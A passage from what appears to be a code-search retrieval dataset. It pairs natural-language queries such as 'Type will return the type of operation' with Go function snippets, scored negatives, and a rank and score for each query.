{\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (r ApiGetHyperflexClusterBackupPolicyListRequest) Apply(apply string) ApiGetHyperflexClusterBackupPolicyListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (t *Dense) Apply(fn interface{}, opts ...FuncOpt) (retVal Tensor, err error) {\\n\\tfo := parseFuncOpts(opts...)\\n\\treuseT, incr := fo.incrReuse()\\n\\tsafe := fo.safe()\\n\\n\\tvar reuse *Dense\\n\\tif reuse, err = getDense(reuseT); err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\t// check reuse and stuff\\n\\tvar res *Dense\\n\\tswitch {\\n\\tcase reuse != nil:\\n\\t\\tres = reuse\\n\\t\\tif res.len() != t.Size() {\\n\\t\\t\\terr = errors.Errorf(shapeMismatch, t.Shape(), reuse.Shape())\\n\\t\\t\\treturn\\n\\t\\t}\\n\\tcase !safe:\\n\\t\\tres = t\\n\\tdefault:\\n\\t\\tif t.IsMaterializable() {\\n\\t\\t\\tres = t.Materialize().(*Dense)\\n\\t\\t} else {\\n\\t\\t\\tres = t.Clone().(*Dense)\\n\\t\\t}\\n\\t}\\n\\t// do\\n\\tswitch {\\n\\tcase t.viewOf == nil:\\n\\t\\terr = res.mapFn(fn, incr)\\n\\tcase t.viewOf != nil:\\n\\t\\tit := IteratorFromDense(t)\\n\\t\\tif err = res.iterMap(fn, it, incr); err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\tdefault:\\n\\t\\terr = errors.Errorf(\\\"Apply not implemented for this state: isView: %t and incr: %t\\\", t.viewOf == nil, incr)\\n\\t\\treturn\\n\\t}\\n\\t// set retVal\\n\\tswitch {\\n\\tcase reuse != nil:\\n\\t\\tif err = reuseCheckShape(reuse, t.Shape()); err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tretVal = reuse\\n\\tcase !safe:\\n\\t\\tretVal = t\\n\\tdefault:\\n\\t\\tretVal = res\\n\\t\\t// retVal = New(Of(t.t), WithBacking(res), WithShape(t.Shape()...))\\n\\t}\\n\\treturn\\n}\",\n \"func (p *propertyReference) Apply(key string, value interface{}, ctx *ParsingContext) (bool, error) {\\n\\tref, ok := ctx.Current.(*VocabularyReference)\\n\\tif !ok {\\n\\t\\t// May be during resolve reference phase -- nothing to do.\\n\\t\\treturn true, nil\\n\\t}\\n\\tref.Name = p.p.GetName()\\n\\tref.URI = p.p.URI\\n\\tref.Vocab = p.vocabName\\n\\treturn true, nil\\n}\",\n \"func (kv *ShardKV) applier() {\\n\\tfor kv.killed() == false {\\n\\t\\tselect {\\n\\t\\tcase message := <-kv.applyCh:\\n\\t\\t\\tDPrintf(\\\"{Node %v}{Group %v} tries to apply message %v\\\", kv.rf.Me(), kv.gid, message)\\n\\t\\t\\tif message.CommandValid {\\n\\t\\t\\t\\tkv.mu.Lock()\\n\\t\\t\\t\\tif message.CommandIndex <= kv.lastApplied {\\n\\t\\t\\t\\t\\tDPrintf(\\\"{Node %v}{Group %v} discards outdated message %v because a newer snapshot which lastApplied is %v has been restored\\\", kv.rf.Me(), kv.gid, message, kv.lastApplied)\\n\\t\\t\\t\\t\\tkv.mu.Unlock()\\n\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tkv.lastApplied = message.CommandIndex\\n\\n\\t\\t\\t\\tvar response *CommandResponse\\n\\t\\t\\t\\tcommand := message.Command.(Command)\\n\\t\\t\\t\\tswitch command.Op {\\n\\t\\t\\t\\tcase Operation:\\n\\t\\t\\t\\t\\toperation := command.Data.(CommandRequest)\\n\\t\\t\\t\\t\\tresponse = kv.applyOperation(&message, &operation)\\n\\t\\t\\t\\tcase Configuration:\\n\\t\\t\\t\\t\\tnextConfig := command.Data.(shardctrler.Config)\\n\\t\\t\\t\\t\\tresponse = kv.applyConfiguration(&nextConfig)\\n\\t\\t\\t\\tcase InsertShards:\\n\\t\\t\\t\\t\\tshardsInfo := command.Data.(ShardOperationResponse)\\n\\t\\t\\t\\t\\tresponse = kv.applyInsertShards(&shardsInfo)\\n\\t\\t\\t\\tcase DeleteShards:\\n\\t\\t\\t\\t\\tshardsInfo := command.Data.(ShardOperationRequest)\\n\\t\\t\\t\\t\\tresponse = kv.applyDeleteShards(&shardsInfo)\\n\\t\\t\\t\\tcase EmptyEntry:\\n\\t\\t\\t\\t\\tresponse = kv.applyEmptyEntry()\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t// only notify related channel for currentTerm's log when node is leader\\n\\t\\t\\t\\tif currentTerm, isLeader := kv.rf.GetState(); isLeader && message.CommandTerm == currentTerm {\\n\\t\\t\\t\\t\\tch := kv.getNotifyChan(message.CommandIndex)\\n\\t\\t\\t\\t\\tch <- response\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tneedSnapshot := kv.needSnapshot()\\n\\t\\t\\t\\tif needSnapshot {\\n\\t\\t\\t\\t\\tkv.takeSnapshot(message.CommandIndex)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tkv.mu.Unlock()\\n\\t\\t\\t} else if message.SnapshotValid {\\n\\t\\t\\t\\tkv.mu.Lock()\\n\\t\\t\\t\\tif kv.rf.CondInstallSnapshot(message.SnapshotTerm, message.SnapshotIndex, message.Snapshot) {\\n\\t\\t\\t\\t\\tkv.restoreSnapshot(message.Snapshot)\\n\\t\\t\\t\\t\\tkv.lastApplied = message.SnapshotIndex\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tkv.mu.Unlock()\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tpanic(fmt.Sprintf(\\\"unexpected Message %v\\\", message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\",\n \"func (c *Cache) Evict() {\\n\\tfor _, v := range c.entries {\\n\\t\\tfor k, svcEntry := range v {\\n\\t\\t\\tif !svcEntry.Valid {\\n\\t\\t\\t\\tdelete(v, k)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.61445767","0.61179125","0.6069404","0.58456886","0.5591861","0.5501484","0.5460101","0.5356971","0.5294953","0.5269626","0.52683055","0.5263267","0.51527566","0.51432675","0.5080763","0.50797594","0.50747085","0.5055354","0.50270057","0.50018597","0.49940044","0.4984384","0.4904361","0.48598","0.4859767","0.48425674","0.48320183","0.4827011","0.4814645","0.4784176","0.47801235","0.4771074","0.476197","0.47523347","0.4749835","0.47481918","0.47449794","0.4722872","0.47026527","0.46961433","0.46624216","0.46521372","0.4642565","0.46417284","0.46394253","0.46272248","0.46267286","0.4593088","0.45877618","0.4582867","0.45774487","0.45703182","0.45653206","0.45628154","0.45534894","0.4552851","0.45496657","0.45305324","0.45229667","0.4512924","0.4505484","0.4500601","0.4498068","0.449471","0.4490163","0.44857675","0.4482517","0.44797924","0.44745916","0.44732082","0.44661114","0.44634447","0.44591185","0.44543976","0.44494078","0.44488052","0.44475818","0.4441516","0.4435141","0.44319487","0.4428573","0.44282612","0.44269907","0.44246382","0.44229534","0.4420937","0.44150433","0.44110215","0.43905184","0.4386506","0.4385735","0.4380861","0.4378336","0.4370919","0.4369806","0.4363919","0.43638676","0.4359821","0.4356416","0.43510798"],"string":"[\n \"0.61445767\",\n \"0.61179125\",\n \"0.6069404\",\n \"0.58456886\",\n \"0.5591861\",\n \"0.5501484\",\n \"0.5460101\",\n \"0.5356971\",\n \"0.5294953\",\n \"0.5269626\",\n \"0.52683055\",\n \"0.5263267\",\n \"0.51527566\",\n \"0.51432675\",\n \"0.5080763\",\n \"0.50797594\",\n \"0.50747085\",\n \"0.5055354\",\n \"0.50270057\",\n \"0.50018597\",\n \"0.49940044\",\n \"0.4984384\",\n \"0.4904361\",\n \"0.48598\",\n \"0.4859767\",\n \"0.48425674\",\n \"0.48320183\",\n \"0.4827011\",\n \"0.4814645\",\n \"0.4784176\",\n \"0.47801235\",\n \"0.4771074\",\n \"0.476197\",\n \"0.47523347\",\n \"0.4749835\",\n \"0.47481918\",\n \"0.47449794\",\n \"0.4722872\",\n \"0.47026527\",\n \"0.46961433\",\n \"0.46624216\",\n \"0.46521372\",\n \"0.4642565\",\n \"0.46417284\",\n \"0.46394253\",\n \"0.46272248\",\n \"0.46267286\",\n \"0.4593088\",\n \"0.45877618\",\n \"0.4582867\",\n \"0.45774487\",\n \"0.45703182\",\n \"0.45653206\",\n \"0.45628154\",\n \"0.45534894\",\n \"0.4552851\",\n \"0.45496657\",\n \"0.45305324\",\n \"0.45229667\",\n \"0.4512924\",\n \"0.4505484\",\n \"0.4500601\",\n \"0.4498068\",\n \"0.449471\",\n \"0.4490163\",\n \"0.44857675\",\n \"0.4482517\",\n \"0.44797924\",\n \"0.44745916\",\n \"0.44732082\",\n \"0.44661114\",\n \"0.44634447\",\n \"0.44591185\",\n \"0.44543976\",\n \"0.44494078\",\n \"0.44488052\",\n \"0.44475818\",\n \"0.4441516\",\n \"0.4435141\",\n \"0.44319487\",\n \"0.4428573\",\n \"0.44282612\",\n \"0.44269907\",\n \"0.44246382\",\n \"0.44229534\",\n \"0.4420937\",\n \"0.44150433\",\n \"0.44110215\",\n \"0.43905184\",\n \"0.4386506\",\n \"0.4385735\",\n \"0.4380861\",\n \"0.4378336\",\n \"0.4370919\",\n \"0.4369806\",\n \"0.4363919\",\n \"0.43638676\",\n \"0.4359821\",\n \"0.4356416\",\n \"0.43510798\"\n]"},"document_score":{"kind":"string","value":"0.7609457"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106177,"cells":{"query":{"kind":"string","value":"Type will return the type of operation"},"document":{"kind":"string","value":"func (op *OpRetain) Type() string {\n\treturn \"retain\"\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (op *OperationProperty) Type() string {\n\treturn \"github.com/wunderkraut/radi-api/operation.Operation\"\n}","func (op *OpAdd) Type() string {\n\treturn \"add\"\n}","func (op *ConvertOperation) Type() OpType {\n\treturn TypeConvert\n}","func (op *TotalCommentRewardOperation) Type() OpType {\n\treturn TypeTotalCommentReward\n}","func (m *EqOp) Type() string {\n\treturn \"EqOp\"\n}","func (op *CommitteePayRequestOperation) Type() OpType {\n\treturn TypeCommitteePayRequest\n}","func (op *ProducerRewardOperationOperation) Type() OpType {\n\treturn TypeProducerRewardOperation\n}","func (op *TransitToCyberwayOperation) Type() OpType {\n\treturn TypeTransitToCyberway\n}","func (op *AuthorRewardOperation) Type() OpType {\n\treturn TypeAuthorReward\n}","func (m *StartsWithCompareOperation) Type() string {\n\treturn \"StartsWithCompareOperation\"\n}","func (op *OpFlatten) Type() string {\n\treturn \"flatten\"\n}","func (op *ProposalCreateOperation) Type() OpType {\n\treturn TypeProposalCreate\n}","func (m *IPInRangeCompareOperation) Type() string {\n\treturn \"IpInRangeCompareOperation\"\n}","func (m *OperativeMutation) Type() string {\n\treturn m.typ\n}","func getOperationType(op iop.OperationInput) (operationType, error) {\n\thasAccount := op.Account != nil\n\thasTransaction := op.Transaction != nil\n\tif hasAccount == hasTransaction {\n\t\treturn operationTypeUnknown, errors.New(`Must have exactly 1 of \"account\" or \"transaction\" fields set`)\n\t}\n\tif hasAccount {\n\t\treturn operationTypeCreateAccount, nil\n\t}\n\treturn operationTypePerformTransaction, nil\n}","func (m *DirectoryAudit) GetOperationType()(*string) {\n return m.operationType\n}","func (op *FillVestingWithdrawOperation) Type() OpType {\n\treturn TypeFillVestingWithdraw\n}","func (d *DarwinKeyOperation) Type() string {\n\treturn d.KeyType\n}","func (op *ClaimRewardBalanceOperation) Type() OpType {\n\treturn TypeClaimRewardBalance\n}","func (m *OperativerecordMutation) Type() string {\n\treturn m.typ\n}","func (*Int) GetOp() string { return \"Int\" }","func (m *UnaryOperatorOrd) Type() Type {\n\treturn IntType{}\n}","func (op *ResetAccountOperation) Type() OpType {\n\treturn TypeResetAccount\n}","func (co CigarOp) Type() CigarOpType { return CigarOpType(co & 0xf) }","func (op *OpRemove) Type() string {\n\treturn \"remove\"\n}","func (r *RegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (b *BitOp) Type() sql.Type {\n\trTyp := b.Right.Type()\n\tif types.IsDeferredType(rTyp) {\n\t\treturn rTyp\n\t}\n\tlTyp := b.Left.Type()\n\tif types.IsDeferredType(lTyp) {\n\t\treturn lTyp\n\t}\n\n\tif types.IsText(lTyp) || types.IsText(rTyp) {\n\t\treturn types.Float64\n\t}\n\n\tif types.IsUnsigned(lTyp) && types.IsUnsigned(rTyp) {\n\t\treturn types.Uint64\n\t} else if types.IsSigned(lTyp) && types.IsSigned(rTyp) {\n\t\treturn types.Int64\n\t}\n\n\treturn types.Float64\n}","func (s Spec) Type() string {\n\treturn \"exec\"\n}","func (op *RecoverAccountOperation) Type() OpType {\n\treturn TypeRecoverAccount\n}","func (m *UnaryOperatorLen) Type() Type {\n\treturn IntType{}\n}","func (op *ThreeDEnrollmentAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}","func (m *ToolMutation) Type() string {\n\treturn m.typ\n}","func (cmd Command) Type() string {\n\treturn cmd.MessageType\n}","func (p RProc) Type() Type { return p.Value().Type() }","func (r *Rdispatch) Type() int8 {\n\treturn RdispatchTpe\n}","func (m *BinaryOperatorMod) Type() Type {\n\treturn IntType{}\n}","func (op *ReportOverProductionOperation) Type() OpType {\n\treturn TypeReportOverProduction\n}","func (e *CustomExecutor) GetType() int {\n\treturn model.CommandTypeCustom\n}","func (m *BinaryOperatorAdd) Type() Type {\n\treturn IntType{}\n}","func (n *NotRegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (e *EqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (expr *ExprXor) Type() types.Type {\n\treturn expr.X.Type()\n}","func (op *ChargeDMSAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}","func (fn *Function) Type() ObjectType {\n\treturn ObjectTypeFunction\n}","func (m *UnaryOperatorNegate) Type() Type {\n\treturn IntType{}\n}","func (fn NoArgFunc) Type() Type { return fn.SQLType }","func (e *ExprXor) Type() types.Type {\n\treturn e.X.Type()\n}","func (m *BinaryOperatorDiv) Type() Type {\n\treturn IntType{}\n}","func (f *FunctionLike) Type() string {\n\tif f.macro {\n\t\treturn \"macro\"\n\t}\n\treturn \"function\"\n}","func (l *LessEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (op *OpMove) Type() string {\n\treturn \"move\"\n}","func (execution *Execution) GetType() (execType string) {\n\tswitch strings.ToLower(execution.Type) {\n\tcase \"\":\n\t\tfallthrough\n\tcase \"local\":\n\t\texecType = \"local\"\n\tcase \"remote\":\n\t\texecType = \"remote\"\n\tdefault:\n\t\tpanic(execution)\n\t}\n\n\treturn\n}","func (g *generator) customOperationType() error {\n\top := g.aux.customOp\n\tif op == nil {\n\t\treturn nil\n\t}\n\topName := op.message.GetName()\n\n\tptyp, err := g.customOpPointerType()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tp := g.printf\n\n\tp(\"// %s represents a long running operation for this API.\", opName)\n\tp(\"type %s struct {\", opName)\n\tp(\" proto %s\", ptyp)\n\tp(\"}\")\n\tp(\"\")\n\tp(\"// Proto returns the raw type this wraps.\")\n\tp(\"func (o *%s) Proto() %s {\", opName, ptyp)\n\tp(\" return o.proto\")\n\tp(\"}\")\n\n\treturn nil\n}","func (m *BinaryOperatorBitOr) Type() Type {\n\treturn IntType{}\n}","func (i *InOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (m *TeamsAsyncOperation) GetOperationType()(*TeamsAsyncOperationType) {\n return m.operationType\n}","func (obj *standard) Operation() Operation {\n\treturn obj.op\n}","func (f *Function) Type() ObjectType {\n\treturn FUNCTION\n}","func (r *Reconciler) Type() string {\n\treturn Type\n}","func (f *Filter) GetType() FilterOperator {\n\treturn f.operator\n}","func (m *SystemMutation) Type() string {\n\treturn m.typ\n}","func (f *Function) Type() ObjectType { return FUNCTION_OBJ }","func (r ExecuteServiceRequest) Type() RequestType {\n\treturn Execute\n}","func (m *BinaryOperatorOr) Type() Type {\n\treturn BoolType{}\n}","func (l *LikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (myOperatingSystemType *OperatingSystemType) Type() (param string) {\n\treturn myOperatingSystemType.Typevar\n}","func (m *OrderproductMutation) Type() string {\n\treturn m.typ\n}","func (m *BinaryOperatorMult) Type() Type {\n\treturn IntType{}\n}","func (p *createPlan) Type() string {\n\treturn \"CREATE\"\n}","func (m *CarserviceMutation) Type() string {\n\treturn m.typ\n}","func (m *CarCheckInOutMutation) Type() string {\n\treturn m.typ\n}","func (m *OrderonlineMutation) Type() string {\n\treturn m.typ\n}","func (o *WorkflowCliCommandAllOf) GetType() string {\n\tif o == nil || o.Type == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Type\n}","func (expr *ExprOr) Type() types.Type {\n\treturn expr.X.Type()\n}","func (Instr) Type() sql.Type { return sql.Int64 }","func (m *TypeproductMutation) Type() string {\n\treturn m.typ\n}","func (n *NotLikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (this *ObjectUnwrap) Type() value.Type {\n\n\t// this is the succinct version of the above...\n\treturn this.Operand().Type()\n}","func (m *FinancialMutation) Type() string {\n\treturn m.typ\n}","func (p *insertPlan) Type() string {\n\treturn \"INSERT\"\n}","func (m *ResourceMutation) Type() string {\n\treturn m.typ\n}","func (g *GreaterThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (typ OperationType) String() string {\n\tswitch typ {\n\tcase Query:\n\t\treturn \"query\"\n\tcase Mutation:\n\t\treturn \"mutation\"\n\tcase Subscription:\n\t\treturn \"subscription\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"OperationType(%d)\", int(typ))\n\t}\n}","func (m *HexMutation) Type() string {\n\treturn m.typ\n}","func (b *BinaryExpr) Type(env ExpressionEnv) (querypb.Type, error) {\n\tltype, err := b.Left.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\trtype, err := b.Right.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\ttyp := mergeNumericalTypes(ltype, rtype)\n\treturn b.Op.Type(typ), nil\n}","func (m *ZoneproductMutation) Type() string {\n\treturn m.typ\n}","func (m *StockMutation) Type() string {\n\treturn m.typ\n}","func (o *Function) Type() *Type {\n\treturn FunctionType\n}","func (m *ManagerMutation) Type() string {\n\treturn m.typ\n}","func (l *LessThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func GetOperatorType() OperatorType {\n\tswitch {\n\tcase IsOperatorGo():\n\t\treturn OperatorTypeGo\n\tcase IsOperatorAnsible():\n\t\treturn OperatorTypeAnsible\n\tcase IsOperatorHelm():\n\t\treturn OperatorTypeHelm\n\t}\n\treturn OperatorTypeUnknown\n}","func (e REnv) Type() Type { return e.Value().Type() }","func (m *CompetenceMutation) Type() string {\n\treturn m.typ\n}","func (op *GenericOperation) Kind() uint8 {\n\t// Must be at least long enough to get the kind byte\n\tif len(op.hex) <= 33 {\n\t\treturn opKindUnknown\n\t}\n\n\treturn op.hex[33]\n}","func (c *Call) Type() Type {\n\treturn c.ExprType\n}","func (n *NullSafeEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (m *Win32LobAppRegistryRule) GetOperationType()(*Win32LobAppRegistryRuleOperationType) {\n return m.operationType\n}","func (m *PromotiontypeMutation) Type() string {\n\treturn m.typ\n}","func (m *BinaryOperatorSub) Type() Type {\n\treturn IntType{}\n}","func (c *ComparisonExpr) Type(ExpressionEnv) (querypb.Type, error) {\n\treturn querypb.Type_INT32, nil\n}"],"string":"[\n \"func (op *OperationProperty) Type() string {\\n\\treturn \\\"github.com/wunderkraut/radi-api/operation.Operation\\\"\\n}\",\n \"func (op *OpAdd) Type() string {\\n\\treturn \\\"add\\\"\\n}\",\n \"func (op *ConvertOperation) Type() OpType {\\n\\treturn TypeConvert\\n}\",\n \"func (op *TotalCommentRewardOperation) Type() OpType {\\n\\treturn TypeTotalCommentReward\\n}\",\n \"func (m *EqOp) Type() string {\\n\\treturn \\\"EqOp\\\"\\n}\",\n \"func (op *CommitteePayRequestOperation) Type() OpType {\\n\\treturn TypeCommitteePayRequest\\n}\",\n \"func (op *ProducerRewardOperationOperation) Type() OpType {\\n\\treturn TypeProducerRewardOperation\\n}\",\n \"func (op *TransitToCyberwayOperation) Type() OpType {\\n\\treturn TypeTransitToCyberway\\n}\",\n \"func (op *AuthorRewardOperation) Type() OpType {\\n\\treturn TypeAuthorReward\\n}\",\n \"func (m *StartsWithCompareOperation) Type() string {\\n\\treturn \\\"StartsWithCompareOperation\\\"\\n}\",\n \"func (op *OpFlatten) Type() string {\\n\\treturn \\\"flatten\\\"\\n}\",\n \"func (op *ProposalCreateOperation) Type() OpType {\\n\\treturn TypeProposalCreate\\n}\",\n \"func (m *IPInRangeCompareOperation) Type() string {\\n\\treturn \\\"IpInRangeCompareOperation\\\"\\n}\",\n \"func (m *OperativeMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func getOperationType(op iop.OperationInput) (operationType, error) {\\n\\thasAccount := op.Account != nil\\n\\thasTransaction := op.Transaction != nil\\n\\tif hasAccount == hasTransaction {\\n\\t\\treturn operationTypeUnknown, errors.New(`Must have exactly 1 of \\\"account\\\" or \\\"transaction\\\" fields set`)\\n\\t}\\n\\tif hasAccount {\\n\\t\\treturn operationTypeCreateAccount, nil\\n\\t}\\n\\treturn operationTypePerformTransaction, nil\\n}\",\n \"func (m *DirectoryAudit) GetOperationType()(*string) {\\n return m.operationType\\n}\",\n \"func (op *FillVestingWithdrawOperation) Type() OpType {\\n\\treturn TypeFillVestingWithdraw\\n}\",\n \"func (d *DarwinKeyOperation) Type() string {\\n\\treturn d.KeyType\\n}\",\n \"func (op *ClaimRewardBalanceOperation) Type() OpType {\\n\\treturn TypeClaimRewardBalance\\n}\",\n \"func (m *OperativerecordMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (*Int) GetOp() string { return \\\"Int\\\" }\",\n \"func (m *UnaryOperatorOrd) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (op *ResetAccountOperation) Type() OpType {\\n\\treturn TypeResetAccount\\n}\",\n \"func (co CigarOp) Type() CigarOpType { return CigarOpType(co & 0xf) }\",\n \"func (op *OpRemove) Type() string {\\n\\treturn \\\"remove\\\"\\n}\",\n \"func (r *RegexpOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (b *BitOp) Type() sql.Type {\\n\\trTyp := b.Right.Type()\\n\\tif types.IsDeferredType(rTyp) {\\n\\t\\treturn rTyp\\n\\t}\\n\\tlTyp := b.Left.Type()\\n\\tif types.IsDeferredType(lTyp) {\\n\\t\\treturn lTyp\\n\\t}\\n\\n\\tif types.IsText(lTyp) || types.IsText(rTyp) {\\n\\t\\treturn types.Float64\\n\\t}\\n\\n\\tif types.IsUnsigned(lTyp) && types.IsUnsigned(rTyp) {\\n\\t\\treturn types.Uint64\\n\\t} else if types.IsSigned(lTyp) && types.IsSigned(rTyp) {\\n\\t\\treturn types.Int64\\n\\t}\\n\\n\\treturn types.Float64\\n}\",\n \"func (s Spec) Type() string {\\n\\treturn \\\"exec\\\"\\n}\",\n \"func (op *RecoverAccountOperation) Type() OpType {\\n\\treturn TypeRecoverAccount\\n}\",\n \"func (m *UnaryOperatorLen) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (op *ThreeDEnrollmentAssembly) GetOperationType() structures.OperationType {\\n\\treturn op.opHTTPData.GetOperationType()\\n}\",\n \"func (m *ToolMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (cmd Command) Type() string {\\n\\treturn cmd.MessageType\\n}\",\n \"func (p RProc) Type() Type { return p.Value().Type() }\",\n \"func (r *Rdispatch) Type() int8 {\\n\\treturn RdispatchTpe\\n}\",\n \"func (m *BinaryOperatorMod) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (op *ReportOverProductionOperation) Type() OpType {\\n\\treturn TypeReportOverProduction\\n}\",\n \"func (e *CustomExecutor) GetType() int {\\n\\treturn model.CommandTypeCustom\\n}\",\n \"func (m *BinaryOperatorAdd) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (n *NotRegexpOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (e *EqualOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (expr *ExprXor) Type() types.Type {\\n\\treturn expr.X.Type()\\n}\",\n \"func (op *ChargeDMSAssembly) GetOperationType() structures.OperationType {\\n\\treturn op.opHTTPData.GetOperationType()\\n}\",\n \"func (fn *Function) Type() ObjectType {\\n\\treturn ObjectTypeFunction\\n}\",\n \"func (m *UnaryOperatorNegate) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (fn NoArgFunc) Type() Type { return fn.SQLType }\",\n \"func (e *ExprXor) Type() types.Type {\\n\\treturn e.X.Type()\\n}\",\n \"func (m *BinaryOperatorDiv) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (f *FunctionLike) Type() string {\\n\\tif f.macro {\\n\\t\\treturn \\\"macro\\\"\\n\\t}\\n\\treturn \\\"function\\\"\\n}\",\n \"func (l *LessEqualOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (op *OpMove) Type() string {\\n\\treturn \\\"move\\\"\\n}\",\n \"func (execution *Execution) GetType() (execType string) {\\n\\tswitch strings.ToLower(execution.Type) {\\n\\tcase \\\"\\\":\\n\\t\\tfallthrough\\n\\tcase \\\"local\\\":\\n\\t\\texecType = \\\"local\\\"\\n\\tcase \\\"remote\\\":\\n\\t\\texecType = \\\"remote\\\"\\n\\tdefault:\\n\\t\\tpanic(execution)\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (g *generator) customOperationType() error {\\n\\top := g.aux.customOp\\n\\tif op == nil {\\n\\t\\treturn nil\\n\\t}\\n\\topName := op.message.GetName()\\n\\n\\tptyp, err := g.customOpPointerType()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tp := g.printf\\n\\n\\tp(\\\"// %s represents a long running operation for this API.\\\", opName)\\n\\tp(\\\"type %s struct {\\\", opName)\\n\\tp(\\\" proto %s\\\", ptyp)\\n\\tp(\\\"}\\\")\\n\\tp(\\\"\\\")\\n\\tp(\\\"// Proto returns the raw type this wraps.\\\")\\n\\tp(\\\"func (o *%s) Proto() %s {\\\", opName, ptyp)\\n\\tp(\\\" return o.proto\\\")\\n\\tp(\\\"}\\\")\\n\\n\\treturn nil\\n}\",\n \"func (m *BinaryOperatorBitOr) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (i *InOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (m *TeamsAsyncOperation) GetOperationType()(*TeamsAsyncOperationType) {\\n return m.operationType\\n}\",\n \"func (obj *standard) Operation() Operation {\\n\\treturn obj.op\\n}\",\n \"func (f *Function) Type() ObjectType {\\n\\treturn FUNCTION\\n}\",\n \"func (r *Reconciler) Type() string {\\n\\treturn Type\\n}\",\n \"func (f *Filter) GetType() FilterOperator {\\n\\treturn f.operator\\n}\",\n \"func (m *SystemMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (f *Function) Type() ObjectType { return FUNCTION_OBJ }\",\n \"func (r ExecuteServiceRequest) Type() RequestType {\\n\\treturn Execute\\n}\",\n \"func (m *BinaryOperatorOr) Type() Type {\\n\\treturn BoolType{}\\n}\",\n \"func (l *LikeOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (myOperatingSystemType *OperatingSystemType) Type() (param string) {\\n\\treturn myOperatingSystemType.Typevar\\n}\",\n \"func (m *OrderproductMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *BinaryOperatorMult) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (p *createPlan) Type() string {\\n\\treturn \\\"CREATE\\\"\\n}\",\n \"func (m *CarserviceMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *CarCheckInOutMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *OrderonlineMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (o *WorkflowCliCommandAllOf) GetType() string {\\n\\tif o == nil || o.Type == nil {\\n\\t\\tvar ret string\\n\\t\\treturn ret\\n\\t}\\n\\treturn *o.Type\\n}\",\n \"func (expr *ExprOr) Type() types.Type {\\n\\treturn expr.X.Type()\\n}\",\n \"func (Instr) Type() sql.Type { return sql.Int64 }\",\n \"func (m *TypeproductMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (n *NotLikeOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (this *ObjectUnwrap) Type() value.Type {\\n\\n\\t// this is the succinct version of the above...\\n\\treturn this.Operand().Type()\\n}\",\n \"func (m *FinancialMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (p *insertPlan) Type() string {\\n\\treturn \\\"INSERT\\\"\\n}\",\n \"func (m *ResourceMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (g *GreaterThanOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (typ OperationType) String() string {\\n\\tswitch typ {\\n\\tcase Query:\\n\\t\\treturn \\\"query\\\"\\n\\tcase Mutation:\\n\\t\\treturn 